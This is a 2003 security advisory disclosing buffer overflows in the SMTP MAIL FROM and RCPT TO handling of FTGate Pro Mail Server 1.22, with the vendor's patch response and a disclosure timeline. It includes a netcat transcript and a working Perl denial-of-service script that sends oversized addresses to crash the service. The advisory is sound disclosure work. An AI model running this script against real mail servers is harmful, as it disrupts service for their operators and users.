Multiple Buffer Overflow Vulnerabilities Found in FTGate Pro Mail Server v. 1.22 (1328)

From: Dennis Rand (derat_private)
Date: Tue May 06 2003 - 06:57:42 PDT

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                        Multiple Buffer Overflow Vulnerabilities
                 Found in FTGate Pro Mail Server v. 1.22 (1328)
                           http://www.ftgate.com
                         
                          Discovered by Dennis Rand
                             www.Infowarfare.dk
------------------------------------------------------------------------


-----[SUMMARY
FTGatePro is Floosietek's flagship server. The comprehensive feature set 
In this server ensures that it will meet whatever demands you place on it. 
This server is powerful enough for the most demanding of tasks.

The problem is a Buffer Overflow in the SMTP protocol, within the 
ESMTP Server FTGate, causing the service to stop responding for a short
Period, where we can actually overwrite the exception handler on the stack
allowing 
A system compromise with code execution running as SYSTEM.


-----[AFFECTED SYSTEMS
Vulnerable systems:
 * FTGate Pro Mail Server v. 1.22 (1328)

Immune systems:
 * FTGate Pro Mail Server v. 1.22 (HotFix 1330)

-----[SEVERITY
Medium/High - An attacker is able to cause a DoS attack on the SMTP
protocol.
              And we can actually overwrite the exception handler on the
stack 
              Allowing a system compromise with code execution running as
SYSTEM.
              

-----[DESCRIPTION OF WHAT THE VULNERABILITY IS
The Vulnerability is a Buffer Overflow in the FTGate Pro Mail Server v. 1.22
(1328) When a malicious attacker sends a large amount into the "MAIL FROM"
and the "RCPT TO" The buffer will overflow. If the code was carefully
crafted, attackers could execute 
Arbitrary command in system privilege.

The following transcript demonstrates a sample exploitation of the 
Vulnerabilities:
----------------------------- [Transcript] ----------------------------- nc
warlab.dk 25 220 win2k-serv ESMTP Server FTGate HELO Foobar 250 win2k-serv
Mail From : <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending
with ".com"] <Connection closed>

The same Vulnerability is in the RCPT TO
nc warlab.dk 25
220 win2k-serv ESMTP Server FTGate
HELO Foobar
250 win2k-serv
Mail From : adminat_private
250 <adminat_private> Sender Ok
Rcpt To: <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending
with ".com"] <connection closed>
----------------------------- [Transcript] -----------------------------

----------------------------- [Exploit Code] -----------------------------
#!/usr/bin/perl -w ################## # FTGate Pro Mail Server v. 1.22
(1328) DoS attack # # URL: http://www.infowarfare.dk/ # EMAIL:
derat_private # USAGE: sploit.pl <target ip> # # Summary: # # The
problem is a Buffer Overflow in the SMTP protocol, within the 
# ESMTP Server FTGate, causing the service to stop responding for a short #
Period, where we can actually overwrite the exception handler on the stack
allowing 
# A system compromise with code execution running as SYSTEM.
# 
#
# Solution: 
# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later # 
#

use IO::Socket;
    
$target = shift() || "warlab.dk";
my $port = 25;
my $Buffer = "a" x 2400;


my $sock = IO::Socket::INET->new (
                                    PeerAddr => $target,
                                    PeerPort => $port,
                                    Proto => 'tcp'
                                 ) || die "could not connect: $!";

my $banner = <$sock>;
if ($banner !~ /^2.*/)
{
    print STDERR "Error: invalid server response '$banner'.\n";
    exit(1);
}

print $sock "HELO $target\r\n";
$resp = <$sock>;

print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";
$resp = <$sock>;

print $sock "\r\n";
print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";

close($sock);
----------------------------- [Exploit Code] -----------------------------

When this attack is preformed the service will shortly stop and then restart
after about 5-10 seconds, all current connections when this attack is
preformed will be closed.


-----[DETECTION
FTGate Pro Mail Server v. 1.22 (1328) is vulnerable to the above-described
attacks. 
Earlier versions may be susceptible as well. To determine if a specific 
implementation is vulnerable, experiment by following the above transcript. 


-----[WORK AROUNDS
Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) 


-----[VENDOR RESPONSE
Hi,
Thank you for brining this to my attention.
We have fixed the problem with the code and will release a patch shortly.
Regards Richard Bang Floosietek Ltd richardat_private
http://www.floosietek.com

Hi,

The patch should be up later today. 
New users will automatically download the patched version. 
Existing users download it through the WebAdmin UI.
Regards
Richard Bang
Floosietek Ltd
richardat_private
http://www.floosietek.com


-----[DISCLOSURE TIMELINE
20/04/2003 Found the Vulnerability, and made an analysis. 23/04/2003
Contacted Vendor at supportat_private 
29/04/2003 Received response from Vendor
05/05/2003 Contacted vendor for update
06/05/2003 Received response from vendor 
06/05/2003 Public Disclosure.


-----[ADDITIONAL INFORMATION
The vulnerability was discovered and reported by <derat_private> Dennis
Rand

-----[DISCLAIMER
The information in this bulletin is provided "AS IS" without warranty of any
kind. 
In no event shall we be liable for any damages whatsoever including direct,
indirect, 
incidental, consequential, loss of business profits or special damages.

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